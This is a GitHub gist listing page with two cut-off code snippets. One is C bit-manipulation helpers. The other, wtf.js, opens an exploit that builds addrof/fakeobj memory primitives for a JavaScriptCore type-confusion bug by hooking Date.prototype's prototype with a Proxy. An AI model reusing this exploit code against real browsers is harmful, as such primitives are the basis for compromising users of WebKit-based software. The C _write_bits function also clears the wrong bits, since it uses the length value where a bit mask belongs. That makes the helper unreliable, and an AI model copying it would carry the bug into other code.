Skip to content

Instantly share code, notes, and snippets.

View physuru's full-sized avatar

physuru physuru

View GitHub Profile
#include <stdint.h>
// treated as "independent", not as part of a larger integer
// i.e., for the "2nd" ("index 1") bit from the left will be output as `1`, not `2`
static uint32_t _read_bits(uint32_t u32, uint8_t where, uint8_t len) {
return ((u32 & (((1 << len) - 1) << where)) >> where);
}
static void _write_bits(uint32_t *var, uint8_t where, uint32_t bits, uint8_t len) {
*var = ((*var & ~(len << where)) | bits << where);
@physuru
physuru / wtf.js
Last active April 27, 2022 02:20
// addrof/fakeobj primitives for qwertyoruiop's jsc bug
var wtf_hack = false, wtf_confuse = null, wtf_obj = {}, wtf_date = new Date();
wtf_date[1] = 1;
Date.prototype.__proto__ = new Proxy(Date.prototype.__proto__, {
has: function () {
if (wtf_hack) {
wtf_confuse[0] = wtf_obj;
}
}
});